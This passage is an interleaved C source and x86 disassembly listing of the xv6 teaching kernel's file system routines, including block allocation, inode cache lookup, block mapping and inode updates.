<iunlock> end_op(); 801010a4: e8 d7 1a 00 00 call 80102b80 <end_op> if(r < 0) 801010a9: 8b 45 e0 mov -0x20(%ebp),%eax 801010ac: 85 c0 test %eax,%eax 801010ae: 74 91 je 80101041 <filewrite+0x61> } return i == n ? n : -1; } panic("filewrite"); } 801010b0: 83 c4 2c add $0x2c,%esp return -1; 801010b3: b8 ff ff ff ff mov $0xffffffff,%eax } 801010b8: 5b pop %ebx 801010b9: 5e pop %esi 801010ba: 5f pop %edi 801010bb: 5d pop %ebp 801010bc: c3 ret 801010bd: 8d 76 00 lea 0x0(%esi),%esi return i == n ? n : -1; 801010c0: 3b 5d e4 cmp -0x1c(%ebp),%ebx 801010c3: 89 d8 mov %ebx,%eax 801010c5: 75 e9 jne 801010b0 <filewrite+0xd0> } 801010c7: 83 c4 2c add $0x2c,%esp 801010ca: 5b pop %ebx 801010cb: 5e pop %esi 801010cc: 5f pop %edi 801010cd: 5d pop %ebp 801010ce: c3 ret return pipewrite(f->pipe, addr, n); 801010cf: 8b 47 0c mov 0xc(%edi),%eax 801010d2: 89 45 08 mov %eax,0x8(%ebp) } 801010d5: 83 c4 2c add $0x2c,%esp 801010d8: 5b pop %ebx 801010d9: 5e pop %esi 801010da: 5f pop %edi 801010db: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010dc: e9 0f 22 00 00 jmp 801032f0 <pipewrite> panic("short filewrite"); 801010e1: c7 04 24 8f 6c 10 80 movl $0x80106c8f,(%esp) 801010e8: e8 73 f2 ff ff call 80100360 <panic> panic("filewrite"); 801010ed: c7 04 24 95 6c 10 80 movl $0x80106c95,(%esp) 801010f4: e8 67 f2 ff ff call 80100360 <panic> 801010f9: 66 90 xchg %ax,%ax 801010fb: 66 90 xchg %ax,%ax 801010fd: 66 90 xchg %ax,%ax 801010ff: 90 nop 80101100 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 80101100: 55 push %ebp 80101101: 89 e5 mov %esp,%ebp 80101103: 57 push %edi 80101104: 89 d7 mov %edx,%edi 80101106: 56 push %esi 80101107: 53 push %ebx struct buf *bp; int bi, m; bp = bread(dev, BBLOCK(b, sb)); bi = b % BPB; m = 1 << (bi % 8); 80101108: bb 01 00 00 00 mov $0x1,%ebx { 8010110d: 83 ec 1c sub $0x1c,%esp bp = bread(dev, BBLOCK(b, sb)); 80101110: c1 ea 0c shr $0xc,%edx 80101113: 03 15 d8 09 11 80 add 0x801109d8,%edx 80101119: 89 04 24 mov %eax,(%esp) 8010111c: 89 54 24 04 mov %edx,0x4(%esp) 80101120: e8 ab ef ff ff call 801000d0 <bread> m = 1 << (bi % 8); 80101125: 89 f9 mov %edi,%ecx bi = b % BPB; 80101127: 81 e7 ff 0f 00 00 and $0xfff,%edi 8010112d: 89 fa mov %edi,%edx m = 1 << (bi % 8); 8010112f: 83 e1 07 and $0x7,%ecx if((bp->data[bi/8] & m) == 0) 80101132: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 80101135: d3 e3 shl %cl,%ebx bp = bread(dev, BBLOCK(b, sb)); 80101137: 89 c6 mov %eax,%esi if((bp->data[bi/8] & m) == 0) 80101139: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax 8010113e: 0f b6 c8 movzbl %al,%ecx 80101141: 85 d9 test %ebx,%ecx 80101143: 74 20 je 80101165 <bfree+0x65> panic("freeing free block"); bp->data[bi/8] &= ~m; 80101145: f7 d3 not %ebx 80101147: 21 c3 and %eax,%ebx 80101149: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1) log_write(bp); 8010114d: 89 34 24 mov %esi,(%esp) 80101150: e8 5b 1b 00 00 call 80102cb0 <log_write> brelse(bp); 80101155: 89 34 24 mov %esi,(%esp) 80101158: e8 83 f0 ff ff call 801001e0 <brelse> } 8010115d: 83 c4 1c add $0x1c,%esp 80101160: 5b pop %ebx 80101161: 5e pop %esi 80101162: 5f pop %edi 80101163: 5d pop %ebp 80101164: c3 ret panic("freeing free block"); 80101165: c7 04 24 9f 6c 10 80 movl $0x80106c9f,(%esp) 8010116c: e8 ef f1 ff ff call 80100360 <panic> 80101171: eb 0d jmp 80101180 <balloc> 80101173: 90 nop 80101174: 90 nop 80101175: 90 nop 80101176: 90 nop 80101177: 90 nop 80101178: 90 nop 80101179: 90 nop 8010117a: 90 nop 8010117b: 90 nop 8010117c: 90 nop 8010117d: 90 nop 8010117e: 90 nop 8010117f: 90 nop 80101180 <balloc>: { 80101180: 55 push %ebp 80101181: 89 e5 mov %esp,%ebp 80101183: 57 push %edi 80101184: 56 push %esi 80101185: 53 push %ebx 80101186: 83 ec 2c sub $0x2c,%esp 80101189: 89 45 d8 mov %eax,-0x28(%ebp) for(b = 0; b < sb.size; b += BPB){ 8010118c: a1 c0 09 11 80 mov 0x801109c0,%eax 80101191: 85 c0 test %eax,%eax 80101193: 0f 84 8c 00 00 00 je 80101225 <balloc+0xa5> 80101199: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 801011a0: 8b 75 dc mov -0x24(%ebp),%esi 801011a3: 89 f0 mov %esi,%eax 801011a5: c1 f8 0c sar $0xc,%eax 801011a8: 03 05 d8 09 11 80 add 0x801109d8,%eax 801011ae: 89 44 24 04 mov %eax,0x4(%esp) 801011b2: 8b 45 d8 mov -0x28(%ebp),%eax 801011b5: 89 04 24 mov %eax,(%esp) 801011b8: e8 13 ef ff ff call 801000d0 <bread> 801011bd: 89 45 e4 mov %eax,-0x1c(%ebp) 801011c0: a1 c0 09 11 80 mov 0x801109c0,%eax 801011c5: 89 45 e0 mov %eax,-0x20(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011c8: 31 c0 xor %eax,%eax 801011ca: eb 33 jmp 801011ff <balloc+0x7f> 801011cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((bp->data[bi/8] & m) == 0){ // Is block free? 801011d0: 8b 5d e4 mov -0x1c(%ebp),%ebx 801011d3: 89 c2 mov %eax,%edx m = 1 << (bi % 8); 801011d5: 89 c1 mov %eax,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011d7: c1 fa 03 sar $0x3,%edx m = 1 << (bi % 8); 801011da: 83 e1 07 and $0x7,%ecx 801011dd: bf 01 00 00 00 mov $0x1,%edi 801011e2: d3 e7 shl %cl,%edi if((bp->data[bi/8] & m) == 0){ // Is block free? 801011e4: 0f b6 5c 13 5c movzbl 0x5c(%ebx,%edx,1),%ebx m = 1 << (bi % 8); 801011e9: 89 f9 mov %edi,%ecx if((bp->data[bi/8] & m) == 0){ // Is block free? 801011eb: 0f b6 fb movzbl %bl,%edi 801011ee: 85 cf test %ecx,%edi 801011f0: 74 46 je 80101238 <balloc+0xb8> for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 801011f2: 83 c0 01 add $0x1,%eax 801011f5: 83 c6 01 add $0x1,%esi 801011f8: 3d 00 10 00 00 cmp $0x1000,%eax 801011fd: 74 05 je 80101204 <balloc+0x84> 801011ff: 3b 75 e0 cmp -0x20(%ebp),%esi 80101202: 72 cc jb 801011d0 <balloc+0x50> brelse(bp); 80101204: 8b 45 e4 mov -0x1c(%ebp),%eax 80101207: 89 04 24 mov %eax,(%esp) 8010120a: e8 d1 ef ff ff call 801001e0 <brelse> for(b = 0; b < sb.size; b += BPB){ 8010120f: 81 45 dc 00 10 00 00 addl $0x1000,-0x24(%ebp) 80101216: 8b 45 dc mov -0x24(%ebp),%eax 80101219: 3b 05 c0 09 11 80 cmp 0x801109c0,%eax 8010121f: 0f 82 7b ff ff ff jb 801011a0 <balloc+0x20> panic("balloc: out of blocks"); 80101225: c7 04 24 b2 6c 10 80 movl $0x80106cb2,(%esp) 8010122c: e8 2f f1 ff ff call 80100360 <panic> 80101231: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bp->data[bi/8] |= m; // Mark block in use. 80101238: 09 d9 or %ebx,%ecx 8010123a: 8b 5d e4 mov -0x1c(%ebp),%ebx 8010123d: 88 4c 13 5c mov %cl,0x5c(%ebx,%edx,1) log_write(bp); 80101241: 89 1c 24 mov %ebx,(%esp) 80101244: e8 67 1a 00 00 call 80102cb0 <log_write> brelse(bp); 80101249: 89 1c 24 mov %ebx,(%esp) 8010124c: e8 8f ef ff ff call 801001e0 <brelse> bp = bread(dev, bno); 80101251: 8b 45 d8 mov -0x28(%ebp),%eax 80101254: 89 74 24 04 mov %esi,0x4(%esp) 80101258: 89 04 24 mov %eax,(%esp) 8010125b: e8 70 ee ff ff call 801000d0 <bread> memset(bp->data, 0, BSIZE); 80101260: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80101267: 00 80101268: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010126f: 00 bp = bread(dev, bno); 80101270: 89 c3 mov %eax,%ebx memset(bp->data, 0, BSIZE); 80101272: 8d 40 5c lea 0x5c(%eax),%eax 80101275: 89 04 24 mov %eax,(%esp) 80101278: e8 23 30 00 00 call 801042a0 <memset> log_write(bp); 8010127d: 89 1c 24 mov %ebx,(%esp) 80101280: e8 2b 1a 00 00 call 80102cb0 <log_write> brelse(bp); 80101285: 89 1c 24 mov %ebx,(%esp) 80101288: e8 53 ef ff ff call 801001e0 <brelse> } 8010128d: 83 c4 2c add $0x2c,%esp 80101290: 89 f0 mov %esi,%eax 80101292: 5b pop %ebx 80101293: 5e pop %esi 80101294: 5f pop %edi 80101295: 5d pop %ebp 80101296: c3 ret 80101297: 89 f6 mov %esi,%esi 80101299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801012a0 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 801012a0: 55 push %ebp 801012a1: 89 e5 mov %esp,%ebp 801012a3: 57 push %edi 801012a4: 89 c7 mov %eax,%edi 801012a6: 56 push %esi struct inode *ip, *empty; acquire(&icache.lock); // Is the inode already cached? empty = 0; 801012a7: 31 f6 xor %esi,%esi { 801012a9: 53 push %ebx for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012aa: bb 14 0a 11 80 mov $0x80110a14,%ebx { 801012af: 83 ec 1c sub $0x1c,%esp acquire(&icache.lock); 801012b2: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) { 801012b9: 89 55 e4 mov %edx,-0x1c(%ebp) acquire(&icache.lock); 801012bc: e8 1f 2f 00 00 call 801041e0 <acquire> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012c1: 8b 55 e4 mov -0x1c(%ebp),%edx 801012c4: eb 14 jmp 801012da <iget+0x3a> 801012c6: 66 90 xchg %ax,%ax if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ ip->ref++; release(&icache.lock); return ip; } if(empty == 0 && ip->ref == 0) // Remember empty slot. 801012c8: 85 f6 test %esi,%esi 801012ca: 74 3c je 80101308 <iget+0x68> for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 801012cc: 81 c3 90 00 00 00 add $0x90,%ebx 801012d2: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 801012d8: 74 46 je 80101320 <iget+0x80> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 801012da: 8b 4b 08 mov 0x8(%ebx),%ecx 801012dd: 85 c9 test %ecx,%ecx 801012df: 7e e7 jle 801012c8 <iget+0x28> 801012e1: 39 3b cmp %edi,(%ebx) 801012e3: 75 e3 jne 801012c8 <iget+0x28> 801012e5: 39 53 04 cmp %edx,0x4(%ebx) 801012e8: 75 de jne 801012c8 <iget+0x28> ip->ref++; 801012ea: 83 c1 01 add $0x1,%ecx return ip; 801012ed: 89 de mov %ebx,%esi release(&icache.lock); 801012ef: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) ip->ref++; 801012f6: 89 4b 08 mov %ecx,0x8(%ebx) release(&icache.lock); 801012f9: e8 52 2f 00 00 call 80104250 <release> ip->ref = 1; ip->valid = 0; release(&icache.lock); return ip; } 801012fe: 83 c4 1c add $0x1c,%esp 80101301: 89 f0 mov %esi,%eax 80101303: 5b pop %ebx 80101304: 5e pop %esi 80101305: 5f pop %edi 80101306: 5d pop %ebp 80101307: c3 ret 80101308: 85 c9 test %ecx,%ecx 8010130a: 0f 44 f3 cmove %ebx,%esi for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010130d: 81 c3 90 00 00 00 add $0x90,%ebx 80101313: 81 fb 34 26 11 80 cmp $0x80112634,%ebx 80101319: 75 bf jne 801012da <iget+0x3a> 8010131b: 90 nop 8010131c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(empty == 0) 80101320: 85 f6 test %esi,%esi 80101322: 74 29 je 8010134d <iget+0xad> ip->dev = dev; 80101324: 89 3e mov %edi,(%esi) ip->inum = inum; 80101326: 89 56 04 mov %edx,0x4(%esi) ip->ref = 1; 80101329: c7 46 08 01 00 00 00 movl $0x1,0x8(%esi) ip->valid = 0; 80101330: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) release(&icache.lock); 80101337: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010133e: e8 0d 2f 00 00 call 80104250 <release> } 80101343: 83 c4 1c add $0x1c,%esp 80101346: 89 f0 mov %esi,%eax 80101348: 5b pop %ebx 80101349: 5e pop %esi 8010134a: 5f pop %edi 8010134b: 5d pop %ebp 8010134c: c3 ret panic("iget: no inodes"); 8010134d: c7 04 24 c8 6c 10 80 movl $0x80106cc8,(%esp) 80101354: e8 07 f0 ff ff call 80100360 <panic> 80101359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101360 <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101360: 55 push %ebp 80101361: 89 e5 mov %esp,%ebp 80101363: 57 push %edi 80101364: 56 push %esi 80101365: 53 push %ebx 80101366: 89 c3 mov %eax,%ebx 80101368: 83 ec 1c sub $0x1c,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 8010136b: 83 fa 0b cmp $0xb,%edx 8010136e: 77 18 ja 80101388 <bmap+0x28> 80101370: 8d 34 90 lea (%eax,%edx,4),%esi if((addr = ip->addrs[bn]) == 0) 80101373: 8b 46 5c mov 0x5c(%esi),%eax 80101376: 85 c0 test %eax,%eax 80101378: 74 66 je 801013e0 <bmap+0x80> brelse(bp); return addr; } panic("bmap: out of range"); } 8010137a: 83 c4 1c add $0x1c,%esp 8010137d: 5b pop %ebx 8010137e: 5e pop %esi 8010137f: 5f pop %edi 80101380: 5d pop %ebp 80101381: c3 ret 80101382: 8d b6 00 00 00 00 lea 0x0(%esi),%esi bn -= NDIRECT; 80101388: 8d 72 f4 lea -0xc(%edx),%esi if(bn < NINDIRECT){ 8010138b: 83 fe 7f cmp $0x7f,%esi 8010138e: 77 77 ja 80101407 <bmap+0xa7> if((addr = ip->addrs[NDIRECT]) == 0) 80101390: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax 80101396: 85 c0 test %eax,%eax 80101398: 74 5e je 801013f8 <bmap+0x98> bp = bread(ip->dev, addr); 8010139a: 89 44 24 04 mov %eax,0x4(%esp) 8010139e: 8b 03 mov (%ebx),%eax 801013a0: 89 04 24 mov %eax,(%esp) 801013a3: e8 28 ed ff ff call 801000d0 <bread> if((addr = a[bn]) == 0){ 801013a8: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx bp = bread(ip->dev, addr); 801013ac: 89 c7 mov %eax,%edi if((addr = a[bn]) == 0){ 801013ae: 8b 32 mov (%edx),%esi 801013b0: 85 f6 test %esi,%esi 801013b2: 75 19 jne 801013cd <bmap+0x6d> a[bn] = addr = balloc(ip->dev); 801013b4: 8b 03 mov (%ebx),%eax 801013b6: 89 55 e4 mov %edx,-0x1c(%ebp) 801013b9: e8 c2 fd ff ff call 80101180 <balloc> 801013be: 8b 55 e4 mov -0x1c(%ebp),%edx 801013c1: 89 02 mov %eax,(%edx) 801013c3: 89 c6 mov %eax,%esi log_write(bp); 801013c5: 89 3c 24 mov %edi,(%esp) 801013c8: e8 e3 18 00 00 call 80102cb0 <log_write> brelse(bp); 801013cd: 89 3c 24 mov %edi,(%esp) 801013d0: e8 0b ee ff ff call 801001e0 <brelse> } 801013d5: 83 c4 1c add $0x1c,%esp brelse(bp); 801013d8: 89 f0 mov %esi,%eax } 801013da: 5b pop %ebx 801013db: 5e pop %esi 801013dc: 5f pop %edi 801013dd: 5d pop %ebp 801013de: c3 ret 801013df: 90 nop ip->addrs[bn] = addr = balloc(ip->dev); 801013e0: 8b 03 mov (%ebx),%eax 801013e2: e8 99 fd ff ff call 80101180 <balloc> 801013e7: 89 46 5c mov %eax,0x5c(%esi) } 801013ea: 83 c4 1c add $0x1c,%esp 801013ed: 5b pop %ebx 801013ee: 5e pop %esi 801013ef: 5f pop %edi 801013f0: 5d pop %ebp 801013f1: c3 ret 801013f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ip->addrs[NDIRECT] = addr = balloc(ip->dev); 801013f8: 8b 03 mov (%ebx),%eax 801013fa: e8 81 fd ff ff call 80101180 <balloc> 801013ff: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx) 80101405: eb 93 jmp 8010139a <bmap+0x3a> panic("bmap: out of range"); 80101407: c7 04 24 d8 6c 10 80 movl $0x80106cd8,(%esp) 8010140e: e8 4d ef ff ff call 80100360 <panic> 80101413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101420 <readsb>: { 80101420: 55 push %ebp 80101421: 89 e5 mov %esp,%ebp 80101423: 56 push %esi 80101424: 53 push %ebx 80101425: 83 ec 10 sub $0x10,%esp bp = bread(dev, 1); 80101428: 8b 45 08 mov 0x8(%ebp),%eax 8010142b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80101432: 00 { 80101433: 8b 75 0c mov 0xc(%ebp),%esi bp = bread(dev, 1); 80101436: 89 04 24 mov %eax,(%esp) 80101439: e8 92 ec ff ff call 801000d0 <bread> memmove(sb, bp->data, sizeof(*sb)); 8010143e: 89 34 24 mov %esi,(%esp) 80101441: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp) 80101448: 00 bp = bread(dev, 1); 80101449: 89 c3 mov %eax,%ebx memmove(sb, bp->data, sizeof(*sb)); 8010144b: 8d 40 5c lea 0x5c(%eax),%eax 8010144e: 89 44 24 04 mov %eax,0x4(%esp) 80101452: e8 e9 2e 00 00 call 80104340 <memmove> brelse(bp); 80101457: 89 5d 08 mov %ebx,0x8(%ebp) } 8010145a: 83 c4 10 add $0x10,%esp 8010145d: 5b pop %ebx 8010145e: 5e pop %esi 8010145f: 5d pop %ebp brelse(bp); 80101460: e9 7b ed ff ff jmp 801001e0 <brelse> 80101465: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101469: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101470 <iinit>: { 80101470: 55 push %ebp 80101471: 89 e5 mov %esp,%ebp 80101473: 53 push %ebx 80101474: bb 20 0a 11 80 mov $0x80110a20,%ebx 80101479: 83 ec 24 sub $0x24,%esp initlock(&icache.lock, "icache"); 8010147c: c7 44 24 04 eb 6c 10 movl $0x80106ceb,0x4(%esp) 80101483: 80 80101484: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 8010148b: e8 e0 2b 00 00 call 80104070 <initlock> initsleeplock(&icache.inode[i].lock, "inode"); 80101490: 89 1c 24 mov %ebx,(%esp) 80101493: 81 c3 90 00 00 00 add $0x90,%ebx 80101499: c7 44 24 04 f2 6c 10 movl $0x80106cf2,0x4(%esp) 801014a0: 80 801014a1: e8 9a 2a 00 00 call 80103f40 <initsleeplock> for(i = 0; i < NINODE; i++) { 801014a6: 81 fb 40 26 11 80 cmp $0x80112640,%ebx 801014ac: 75 e2 jne 80101490 <iinit+0x20> readsb(dev, &sb); 801014ae: 8b 45 08 mov 0x8(%ebp),%eax 801014b1: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp) 801014b8: 80 801014b9: 89 04 24 mov %eax,(%esp) 801014bc: e8 5f ff ff ff call 80101420 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\ 801014c1: a1 d8 09 11 80 mov 0x801109d8,%eax 801014c6: c7 04 24 58 6d 10 80 movl $0x80106d58,(%esp) 801014cd: 89 44 24 1c mov %eax,0x1c(%esp) 801014d1: a1 d4 09 11 80 mov 0x801109d4,%eax 801014d6: 89 44 24 18 mov %eax,0x18(%esp) 801014da: a1 d0 09 11 80 mov 0x801109d0,%eax 801014df: 89 44 24 14 mov %eax,0x14(%esp) 801014e3: a1 cc 09 11 80 mov 0x801109cc,%eax 801014e8: 89 44 24 10 mov %eax,0x10(%esp) 801014ec: a1 c8 09 11 80 mov 0x801109c8,%eax 801014f1: 89 44 24 0c mov %eax,0xc(%esp) 801014f5: a1 c4 09 11 80 mov 0x801109c4,%eax 801014fa: 89 44 24 08 mov %eax,0x8(%esp) 801014fe: a1 c0 09 11 80 mov 0x801109c0,%eax 80101503: 89 44 24 04 mov %eax,0x4(%esp) 80101507: e8 44 f1 ff ff call 80100650 <cprintf> } 8010150c: 83 c4 24 add $0x24,%esp 8010150f: 5b pop %ebx 80101510: 5d pop %ebp 80101511: c3 ret 80101512: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101520 <ialloc>: { 80101520: 55 push %ebp 80101521: 89 e5 mov %esp,%ebp 80101523: 57 push %edi 80101524: 56 push %esi 80101525: 53 push %ebx 80101526: 83 ec 2c sub $0x2c,%esp 80101529: 8b 45 0c mov 0xc(%ebp),%eax for(inum = 1; inum < sb.ninodes; inum++){ 8010152c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8 { 80101533: 8b 7d 08 mov 0x8(%ebp),%edi 80101536: 89 45 e4 mov %eax,-0x1c(%ebp) for(inum = 1; inum < sb.ninodes; inum++){ 80101539: 0f 86 a2 00 00 00 jbe 801015e1 <ialloc+0xc1> 8010153f: be 01 00 00 00 mov $0x1,%esi 80101544: bb 01 00 00 00 mov $0x1,%ebx 80101549: eb 1a jmp 80101565 <ialloc+0x45> 8010154b: 90 nop 8010154c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi brelse(bp); 80101550: 89 14 24 mov %edx,(%esp) for(inum = 1; inum < sb.ninodes; inum++){ 80101553: 83 c3 01 add $0x1,%ebx brelse(bp); 80101556: e8 85 ec ff ff call 801001e0 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 8010155b: 89 de mov %ebx,%esi 8010155d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx 80101563: 73 7c jae 801015e1 <ialloc+0xc1> bp = bread(dev, IBLOCK(inum, sb)); 80101565: 89 f0 mov %esi,%eax 80101567: c1 e8 03 shr $0x3,%eax 8010156a: 03 05 d4 09 11 80 add 0x801109d4,%eax 80101570: 89 3c 24 mov %edi,(%esp) 80101573: 89 44 24 04 mov %eax,0x4(%esp) 80101577: e8 54 eb ff ff call 801000d0 <bread> 8010157c: 89 c2 mov %eax,%edx dip = (struct dinode*)bp->data + inum%IPB; 8010157e: 89 f0 mov %esi,%eax 80101580: 83 e0 07 and $0x7,%eax 80101583: c1 e0 06 shl $0x6,%eax 80101586: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx if(dip->type == 0){ // a free inode 8010158a: 66 83 39 00 cmpw $0x0,(%ecx) 8010158e: 75 c0 jne 80101550 <ialloc+0x30> memset(dip, 0, sizeof(*dip)); 80101590: 89 0c 24 mov %ecx,(%esp) 80101593: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp) 8010159a: 00 8010159b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801015a2: 00 801015a3: 89 55 dc mov %edx,-0x24(%ebp) 801015a6: 89 4d e0 mov %ecx,-0x20(%ebp) 801015a9: e8 f2 2c 00 00 call 801042a0 <memset> dip->type = type; 801015ae: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax log_write(bp); // mark it allocated on the disk 801015b2: 8b 55 dc mov -0x24(%ebp),%edx dip->type = type; 801015b5: 8b 4d e0 mov -0x20(%ebp),%ecx log_write(bp); // mark it allocated on the disk 801015b8: 89 55 e4 mov %edx,-0x1c(%ebp) dip->type = type; 801015bb: 66 89 01 mov %ax,(%ecx) log_write(bp); // mark it allocated on the disk 801015be: 89 14 24 mov %edx,(%esp) 801015c1: e8 ea 16 00 00 call 80102cb0 <log_write> brelse(bp); 801015c6: 8b 55 e4 mov -0x1c(%ebp),%edx 801015c9: 89 14 24 mov %edx,(%esp) 801015cc: e8 0f ec ff ff call 801001e0 <brelse> } 801015d1: 83 c4 2c add $0x2c,%esp return iget(dev, inum); 801015d4: 89 f2 mov %esi,%edx } 801015d6: 5b pop %ebx return iget(dev, inum); 801015d7: 89 f8 mov %edi,%eax } 801015d9: 5e pop %esi 801015da: 5f pop %edi 801015db: 5d pop %ebp return iget(dev, inum); 801015dc: e9 bf fc ff ff jmp 801012a0 <iget> panic("ialloc: no inodes"); 801015e1: c7 04 24 f8 6c 10 80 movl $0x80106cf8,(%esp) 801015e8: e8 73 ed ff ff call 80100360 <panic> 801015ed: 8d 76 00 lea 0x0(%esi),%esi 801015f0 <iupdate>: { 801015f0: 55 push %ebp 801015f1: 89 e5 mov %esp,%ebp 801015f3: 56 push %esi 801015f4: 53 push %ebx 801015f5: 83 ec 10 sub $0x10,%esp 801015f8: 8b 5d 08 mov 0x8(%ebp),%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 801015fb: 8b 43 04 mov 0x4(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 801015fe: 83 c3 5c add $0x5c,%ebx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101601: c1 e8 03 shr $0x3,%eax 80101604: 03 05 d4 09 11 80 add 0x801109d4,%eax 8010160a: 89 44 24 04 mov %eax,0x4(%esp) 8010160e: 8b 43 a4 mov -0x5c(%ebx),%eax 80101611: 89 04 24 mov %eax,(%esp) 80101614: e8 b7 ea ff ff call 801000d0 <bread> dip = (struct dinode*)bp->data + ip->inum%IPB; 80101619: 8b 53 a8 mov -0x58(%ebx),%edx 8010161c: 83 e2 07 and $0x7,%edx 8010161f: c1 e2 06 shl $0x6,%edx 80101622: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101626: 89 c6 mov %eax,%esi dip->type = ip->type; 80101628: 0f b7 43 f4 movzwl -0xc(%ebx),%eax memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8010162c: 83 c2 0c add $0xc,%edx dip->type = ip->type; 8010162f: 66 89 42 f4 mov %ax,-0xc(%edx) dip->major = ip->major; 80101633: 0f b7 43 f6 movzwl -0xa(%ebx),%eax 80101637: 66 89 42 f6 mov %ax,-0xa(%edx) dip->minor = ip->minor; 8010163b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax 8010163f: 66 89 42 f8 mov %ax,-0x8(%edx) dip->nlink = ip->nlink; 80101643: 0f b7 43 fa movzwl -0x6(%ebx),%eax 80101647: 66 89 42 fa mov %ax,-0x6(%edx) dip->size = ip->size; 8010164b: 8b 43 fc mov -0x4(%ebx),%eax 8010164e: 89 42 fc mov %eax,-0x4(%edx) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101651: 89 5c 24 04 mov %ebx,0x4(%esp) 80101655: 89 14 24 mov %edx,(%esp) 80101658: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 8010165f: 00 80101660: e8 db 2c 00 00 call 80104340 <memmove> log_write(bp); 80101665: 89 34 24 mov %esi,(%esp) 80101668: e8 43 16 00 00 call 80102cb0 <log_write> brelse(bp); 8010166d: 89 75 08 mov %esi,0x8(%ebp) } 80101670: 83 c4 10 add $0x10,%esp 80101673: 5b pop %ebx 80101674: 5e pop %esi 80101675: 5d pop %ebp brelse(bp); 80101676: e9 65 eb ff ff jmp 801001e0 <brelse> 8010167b: 90 nop 8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101680 <idup>: { 80101680: 55 push %ebp 80101681: 89 e5 mov %esp,%ebp 80101683: 53 push %ebx 80101684: 83 ec 14 sub $0x14,%esp 80101687: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&icache.lock); 8010168a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101691: e8 4a 2b 00 00 call 801041e0 <acquire> ip->ref++; 80101696: 83 43 08 01 addl $0x1,0x8(%ebx) release(&icache.lock); 8010169a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 801016a1: e8 aa 2b 00 00 call 80104250 <release> } 801016a6: 83 c4 14 add $0x14,%esp 801016a9: 89 d8 mov %ebx,%eax 801016ab: 5b pop %ebx 801016ac: 5d pop %ebp 801016ad: c3 ret 801016ae: 66 90 xchg %ax,%ax 801016b0 <ilock>: { 801016b0: 55 push %ebp 801016b1: 89 e5 mov %esp,%ebp 801016b3: 56 push %esi 801016b4: 53 push %ebx 801016b5: 83 ec 10 sub $0x10,%esp 801016b8: 8b 5d 08 mov 0x8(%ebp),%ebx if(ip == 0 || ip->ref < 1) 801016bb: 85 db test %ebx,%ebx 801016bd: 0f 84 b3 00 00 00 je 80101776 <ilock+0xc6> 801016c3: 8b 53 08 mov 